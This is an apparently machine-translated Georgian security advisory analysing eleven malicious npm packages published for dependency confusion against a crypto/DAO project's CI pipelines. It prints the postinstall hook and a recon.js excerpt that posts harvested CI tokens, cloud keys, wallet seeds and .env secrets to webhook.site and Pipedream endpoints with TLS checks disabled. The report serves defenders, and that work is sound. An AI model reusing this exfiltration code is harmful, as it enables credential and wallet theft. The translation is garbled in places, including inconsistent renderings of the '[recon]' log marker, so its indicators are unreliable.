TL; DR
2026-06-17-ში გამოქვეყნდა ერთი npm ანგარიში თერთმეტი პაკეტი, რომლებიც იზიარებენ ერთ დანიშნულებას და ერთ დატვირთვასათი მათგანი ატარებს cryptodao- პრეფიქსი (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); მეთერთმეტე არის სკოპირებული @public-for-cdao/coreყველა მათგანი გამოქვეყნდა ვერსიაში 99.99.99 და აგზავნის ბაიტის იდენტურ რაოდენობას recon.js რომ გადის postinstall.
სახელები ყველაფერს მეტყველებს. ისინი კრიპტო/DAO პროექტის კერძო ინსტრუმენტთა ჯაჭვის შიდა საშენი ბლოკების მსგავსად იკითხება. ხელოვნურად მაღალი ვერსიით გამოქვეყნებული საჯარო npm რეესტრში, ისინი ელოდებიან აწყობას. pipeline რომელიც კონფიგურირებულია ამ სახელების გადასაჭრელად და რომელიც საჯარო npm-ს აღწევს კერძო რეესტრამდე — ან მის ნაცვლად. ეს არის დამოკიდებულების დაბნეულობადა ტვირთი ზუსტად იმ ადგილისთვისაა მორგებული, სადაც დაშვებას ელის: CI/CD მორბენალი.
როდესაც postinstall ხანძრები, recon.js აგროვებს მასპინძლის დეტალებს, უხეშად ათვალიერებს ორმოცი ღრუბლოვანი, CI და კრიპტო-საფულის გარემოს ცვლადი, კითხულობს ნებისმიერს .env ფაილებს აქვეყნებს, რომლებსაც მას შეუძლია იპოვოს და სიტყვასიტყვით გადააგზავნოს საიდუმლო შემცველი ხაზები, შემდეგ კი შეკვრას ორ კოლექციონერს გადასცემს — webhook.site და Pipedream-ის საბოლოო წერტილი — TLS სერტიფიკატის ვერიფიკაციით გამორთული. ასლი ასევე დაწერილია /tmp.
სიმძიმე: მაღალიდაზარალებული ეკოსისტემა: npmწერის მომენტისთვის თერთმეტივე პაკეტი აქტიური იყო.
შეტევის ანატომია
მექანიზმს ოთხი მოძრავი ნაწილი აქვს და არცერთი მათგანი არ არის შეუმჩნეველი, როგორც კი ამას შეიტყობთ. პაკეტის სახელის შემდეგ ერთი ფენა გადახედეთ.
1. ვერსიის ინფლაცია, როგორც გადამწყვეტი სატყუარა. თითოეული პაკეტი აცხადებს ვერსიას 99.99.99დამოკიდებულების დაბნეულობა მაშინ მუშაობს, როდესაც პაკეტის მენეჯერი ითხოვს შიდა სახელი, ასევე ამოწმებს საჯარო რეესტრს და ირჩევს მის უმაღლეს ვერსიას finds. npm-ის ნაგულისხმევი არჩევანი კურსორის ან ველური ბარათის დიაპაზონისთვის არის ყველაზე დამაკმაყოფილებელი ვერსია ყველა კონფიგურირებულ წყაროში; თუ ორივე კერძოა რეესტრის და საჯარო npm პასუხის შემთხვევაში, ერთი და იგივე სახელისთვის, უფრო დიდი ვერსიის ნომერი იმარჯვებს. A 99.99.99 არსებითად აღემატება პროექტის ნებისმიერ რეალურ შიდა ვერსიას მიღწეულია, ამიტომ რეზოლუტორი, რომელიც არ არის მიბმული კერძო წყაროზე, უპირატესობას ანიჭებს საჯარო — და ამ შემთხვევაში, მტრული — ასლი. ოპერატორს არ სჭირდება იცოდეს Target-ის რეალური ვერსიის ნომრები; აბსურდული მაქსიმუმის არჩევა ყოველთვის ფრეს იძლევა გზას ურღვევს.
2. ინსტალაციის შემდგომი ტრიგერი. პაკეტი.json დატვირთვას ინსტალაციაზე აკავშირებს სიცოცხლის ციკლი:
{ "scripts": { "postinstall": "node recon.js" } } პაკეტის იმპორტი საჭირო არ არის. მხოლოდ მისი ინსტალაცია — რაც CI-ს ფუნქციას ასრულებს. pipeline ავტომატურად აკეთებს - მუშაობს recon.js.
3. ფართომასშტაბიანი საიდუმლო ჩხრეკა. recon.js შედეგების მასივის ეტაპობრივად აწყობს:
- ჰოსტის კონტექსტი: ჰოსტის სახელი, პლატფორმა და ვერსია, არქიტექტურა, მომხმარებლის სახელი, სამუშაო დირექტორია.
- გარემოს ცვლადები: ის იტერებს დაახლოებით ორმოცი სახელისა და ჩანაწერის ფიქსირებულ სიას ნებისმიერი, რომელიც დაყენებულია. სია გამჭრიახია — ის აერთიანებს ზოგად CI ტოკენებს (CI_JOB_TOKEN, CI_რეგისტრაციის_პაროლი, GITLAB_ACCESS_TOKEN) და ღრუბელი რწმუნებათა სიგელები (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) რეესტრის და კონტეინერის საიდუმლოებებით (NPM_ტოკენი, DOCKER_PASSWORD, HARBOR_PASSWORD) და გამორჩეულად კრიპტო-არომატული კლასტერი: PRIVATE_KEY, მნემონიკა, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCჩაწერილი მნიშვნელობები შემოკლებულია პირველ 50 სიმბოლომდე.
- .ენვ ფაილები: ის იკვლევს გზების სიას — .ენვ, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, და .პროდაქშენი/.განვითარება ვარიანტები — და ნებისმიერი არსებული ფაილისთვის, ის ფილტრავს შინაარსს შესაბამის ხაზებამდე გასაღები|საიდუმლო|ჟეტონი|საშვი|პირადი|მნემონიკა და ამ ხაზებს **სრულად, დაუმოკლებლად** შედეგში ჩასვავს.
- Build-host კონტექსტი: ის ჩამოთვლის პირველ 20 ჩანაწერს /აშენებს/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/და /tmp/.
ბილიკის სია და ცვლადების სია შეწონილია GitLab-ის მორბენლებისკენ, რაც მიუთითებს დატვირთვა პირდაპირ თვითმასპინძელ CI ინფრასტრუქტურაზეა და არა დეველოპერზე ლეპტოპი. მოსავლის სიის კატეგორიის მიხედვით დაჯგუფება მოსავლის აღების სავარაუდო ადგილმდებარეობის გამარტივებას უზრუნველყოფს:
| კატეგორია | მიღწეული ცვლადები / გზები |
|---|---|
| CI/CD იდენტობა და განლაგება | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| რეესტრი და კონტეინერი | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| მონაცემთა საცავები | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| კრიპტო / ბლოკჩეინი | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Messaging | SLACK_TOKEN, DISCORD_TOKEN |
| დისკზე | .env ოჯახი + /home/gitlab-runner/.env, /root/.env, /app/**/.env; დირექტორიების სიები /builds/, /var/lib/gitlab-runner/ |
კრიპტო კლასტერი არის ის ნაწილი, რომელიც განასხვავებს მას ზოგადი CI-საიდუმლო სისტემისგან. sweep: საფულის სათესლე ფრაზები და ხელმოწერის გასაღებები მხოლოდ a-ს გარემოში ჩნდება ბლოკჩეინის პროექტი და ისინი პირდაპირ უკავშირდება კრიპტოდაო-/ხელმომწერი/კონტრაქტები გადამზიდავების დასახელება.
4. ორმაგი ექსფილტრაცია გამორთული ვერიფიკაციით. შეგროვებული მასივი არის სერიალიზებული და გამოქვეყნებული ორ დანიშნულების ადგილას:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) უარყოფა არაავტორიზებული: ყალბი გამორთავს TLS სერტიფიკატის შემოწმებას გამავალი შეტყობინებებისთვის. ზარები. იგივე მონაცემები იბეჭდება stdout-ში (ამიტომ ის ასევე ხვდება CI სამუშაო ჟურნალებში) და დაწერილია /tmp/.npm_recon_ .jsonშეცდომები ჩუმად იყლაპება, ამიტომ წარუმატებელი გაგზავნა ინსტალაციის გამომავალში ერთ კვალს არ ტოვებს. [დაზვერვა] დაინსტალირებულია ხაზი.
ფაილში წამყვანი კომენტარი მას აღწერს, როგორც „დამოკიდებულების დაბნეულობას“. „დაზვერვის დატვირთვა“. გარემოს მნიშვნელობების 50 სიმბოლომდე შემცირებამ კონცეფციის დამადასტურებელი ფორმის. ის, რაც მას მხოლოდ ყოფნის შუქურის მიღმა გადააქვს, არის .ენვ დამუშავება: საიდუმლო მატარებლის ხაზები სრულად გადამისამართდება და დანიშნულების ადგილები ორი მოქმედი, თავდამსხმელების მიერ კონტროლირებადი კოლექციონერია და არა ერთი ნიჟარა, რომელიც მხოლოდ ითვლის ჰიტები.
Timeline
გამოქვეყნების ნიმუში ერთი სცენარისტული დარტყმის ხელმოწერაა და არა თერთმეტის. დამოუკიდებელი ატვირთვები.
| დრო (UTC, 2026-06-17) | თარიღის |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 გამოქვეყნებული |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — შემოწმებული ვარიანტი, ~24 წუთის შემდეგ |
29 წამიან ფანჯარაში ათი პაკეტი გაიგზავნა, დაახლოებით ერთი ყოველ სამ წამში. მასშტაბირებული @public-for-cdao/core დაახლოებით 24 წუთის შემდეგ მოჰყვა — მეორე იგივე სამიზნის დასახელების კონვენცია, იმ შემთხვევაში, თუ მომხმარებელი პროექტი მიუთითებს შიდა ხელსაწყოების ჯაჭვი სფეროს ქვეშ და არა როგორც უბრალო სახელები.
კომპრომისის ინდიკატორები
| ტიპი | ინდიკატორი |
|---|---|
| კოლექტორი | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| კოლექტორი | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| კაუჭის დამონტაჟება | postinstall: node recon.js |
| ფაილი ამოღებულია | /tmp/.npm_recon_<timestamp>.json |
| ჟურნალის მარკერი | [recon] <pkg>@<ver> installed on <hostname> (stdout CI ჟურნალებში) |
| ქცევა | rejectUnauthorized: false გამავალი HTTPS-ის ინსტალაციის დროს |
| Payload | recon.js, იდენტურია ყველა თერთმეტი პაკეტისთვის (ერთი საერთო ბილდი) |
| მობილური | 99.99.99 ყველა პაკეტზე |
| პაკეტები | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ყველა 99.99.99) |
| გამომცემლობა | aduljune / aduljune@proton.me (ელ. ფოსტა დაუდასტურებელია, ბმული წყაროს საცავი არ არის) |
ატრიბუცია და დაკვირვებული ქცევა
კლასტერთან დაკავშირებული ყველაფერი ერთ ხელზე მიუთითებს. თერთმეტივე პაკეტი გამოქვეყნდა. npm ანგარიშის მიხედვით ადულჯუნი (aduljune@proton.me, დაუდასტურებელი მისამართი ნომრით დაკავშირებული წყაროს საცავი), 25 წუთის განმავლობაში, ერთდროულად 99.99.99 ვერსია, გადაზიდვა recon.js რომლის შინაარსი ბაიტი-ბაიტი იდენტურია ყველა პაკეტი (MD5 ემთხვევა ყველა თერთმეტ ამოღებულ ასლს). ეს არის ერთი დატვირთვა სახელების სიაზე დაშტამპული და არა დამოუკიდებელი კოდის ხელახალი გამოყენება.
სახელების სია განსაზღვრავს დანიშნულ სამიზნეს. კრიპტოდაო-* მდე cdao აღწერეთ კრიპტო/DAO პროექტის კერძო მოდულის განლაგება და დატვირთვის მოსავლის სია სარკეები, რომლებიც ვარაუდობენ: ზოგადი CI და ღრუბლოვანი საიდუმლოებების გარდა, ის კონკრეტულად ხელს იწვდის PRIVATE_KEY, მნემონიკა, SEED_PHRASEდა Ethereum/BSC RPC და პროვაიდერის გასაღებები. .ენვ ძიების გზები და დირექტორიების სიები GitLab-runner-ია კონკრეტული. დაკვირვებადი ეფექტი ის არის, რომ ნებისმიერი pipeline მოტყუებით დააინსტალირეს ესენი სახელები გადააგზავნიდნენ მის CI ტოკენებს, ღრუბლოვან გასაღებებს და დისკზე არსებულს .ენვ საიდუმლოებები — და, ამისთვის ბლოკჩეინ პროექტი, მისი საფულის მასალა — ორ მესამე მხარის კოლექციონერს.
ჩვენ არ ვაცხადებთ პრეტენზიას იმის შესახებ, თუ ვინ მართავს ანგარიშს ან რას აპირებდნენ ისინი ამ ანგარიშით. მონაცემები. ფაქტები, რომლებიც თავისთავად ცალ-ცალკე დგას: სახელწოდებები კონკრეტული სახის შიდა ხელსაწყოთა ჯაჭვი, დატვირთვა კითხულობს და გადასცემს რეალურ საიდუმლო მნიშვნელობებს და ინფრასტრუქტურა ამოქმედდა.
გავლენა, ტენდენციები და დამცველის ხელმძღვანელობა
დამოკიდებულების დაბნეულობა ეფექტური რჩება, რადგან ის იყენებს რეზოლვერის ქცევას და არა დაუცველობა ნებისმიერ პაკეტში. გადამზიდავი აქ უმნიშვნელოა - თერთმეტი თითქმის ცარიელი პაკეტები - მაგრამ აფეთქების რადიუსი არის ის, რაც არ უნდა იყოს pipeline შეცდომით უპირატესობას ანიჭებს საჯარო npm-ს შიდა სახელისთვის. CI მორბენლები ყველაზე ცუდი ადგილია ამის მოსაგვარებლად: ისინი ინარჩუნებენ ზუსტად ჟეტონები და .ენვ ფაილები, რომლებიც ამ დატვირთვას კითხულობს და აინსტალირებს დამოკიდებულებები არაინტერაქტიულად, ამიტომ პოსტინსტალაცია დარბის ისე, რომ არავინ უყურებს.
ეს კლასტერი ასევე შეესაბამება იმ ნიმუშს, რომელსაც ჩვენ მუდმივად ვხედავთ: ინსტალაციის დროს წარმოდგენილ დატვირთვას როგორც „კვლევა“ ან „დაზვერვა“, რეალური რწმუნებათა სიგელების შეგროვების დროს. ეტიკეტი ფაილში კოდის მოქმედება არ იცვლება მორბენალზე. დიზაინის ორი ვარიანტი შენარჩუნდება აქტივობა მშვიდია: ქსელისა და ფაილური სისტემის ყველა ოპერაცია შეფუთულია გამონაკლისის დამმუშავებელი, რომელიც უარყოფს შეცდომებს, მაგალითად, დაბლოკილ გაგზავნას ან დაკარგული ფაილს დიაგნოსტიკურ შედეგს არ იძლევა და ერთადერთი, რაც იბეჭდება, არის ერთი უვნებელი [აღწერა] … დაინსტალირებულია ხაზი, რომელიც ერწყმის ინსტალაციის ნორმალურ ხმაურს. გამოყენება webhook.site და Pipedream ასევე განზრახ მოხერხებულობაა - ორივე უფასოა, მყისიერად უზრუნველყოფილი მოთხოვნის აღების სერვისები, ამიტომ ოპერატორს არ სჭირდება სერვერები საკუთარი და დანიშნულების ადგილები გასასვლელი ჟურნალებში ჩვეულებრივ SaaS ჰოსტების სახელებს ჰგავს.
ეკონომიკური ფაქტორებია ის, რაც ამას დამცველის ყურადღების ღირსს ხდის, მიუხედავად იმისა, რომ გადამზიდავის კოდი ტრივიალურია. თერთმეტი სახელის რეგისტრაცია არაფერი ღირს, ტვირთი ერთია ფაილი თერთმეტჯერ კოპირდა და ყველა შესრულებას პაკეტის მენეჯერი ასრულებს. ერთი არასწორად კონფიგურირებული pipeline ნებისმიერი ადგილი, სადაც ამ სახელებიდან ერთ-ერთი მოიხმარება, მთელ საფასურს იხდის ოპერაცია.
კონკრეტული ნაბიჯები დამცველებისთვის:
- შიდა სკოპები თქვენს პირად რეესტრში დააფიქსირეთ. npm-ის კონფიგურაცია შიდა სახელების მიხედვით
და სკოპები მხოლოდ თქვენი რეესტრის მიხედვით რეაგირებს (სკოპირებული .npmrc რეესტრის შესაბამისობები, ან პროქსი, რომელიც არასდროს გადადის საჯარო npm-ზე საკუთრებაში არსებული სახელთა სივრცეებისთვის). შეინახეთ თქვენი საჯარო სახელები ისე, რომ სხვამ ვერავინ შეძლოს მათი რეგისტრაცია.
- Commit ფაილების დაბლოკვა და –ignore-scripts-ით ინსტალაცია CI-ში სადაც შესაძლებელია, ან შეამოწმეთ დამოკიდებულებების მცირე ნაკრები, რომლებსაც ნამდვილად სჭირდებათ ინსტალაციის სკრიპტები. recon.js ვერ გაეშვება, თუ პოსტინსტალაცია არ არის შესრულებული.
- შიდა იერსახის მქონე სახელის 99.99.99 (ან სხვა აბსურდულად მაღალი) ვერსიის გამოყენება როგორც წითელი დროშა დამოკიდებულების მიმოხილვასა და რეესტრის მონიტორინგში.
- გაფრთხილება ინსტალაციის დროს გასვლისას. A პოსტინსტალაცია რომელიც ხსნის გამავალ HTTPS-ს კავშირი — განსაკუთრებით მაშინ, როდესაც სერტიფიკატის დადასტურება გამორთულია — webhook.site-ის, Pipedream-ის ან მსგავსი მოთხოვნების აღების სერვისების ქსელის კიდეზე დაბლოკვა და მათი შექმნის ჟურნალებში მონიშვნა ღირს.
- არტეფაქტების ძიება. შეამოწმეთ მორბენლები /tmp/.npm_recon_*.json და ამისთვის [აღმოჩენა] … დაინსტალირებულია … მარკერზე ბოლო CI ჟურნალებში. თუ აღმოჩენილია, შეატრიალეთ ყოველი ამის დამადასტურებელი მოწმობა pipeline — CI ტოკენები, ღრუბლოვანი გასაღებები, რეესტრის ტოკენები და გარემოში ან .env ფაილებში არსებული ნებისმიერი საფულის საწყისი წერტილი ან კერძო გასაღები.
ლიტერატურა
ამ კლასტერის შესახებ გარე ანგარიშგება წერის დროს არ არსებობდა; ანალიზი ზემოთ მოცემული პირდაპირ ეფუძნება გამოქვეყნებულ პაკეტის შინაარსს




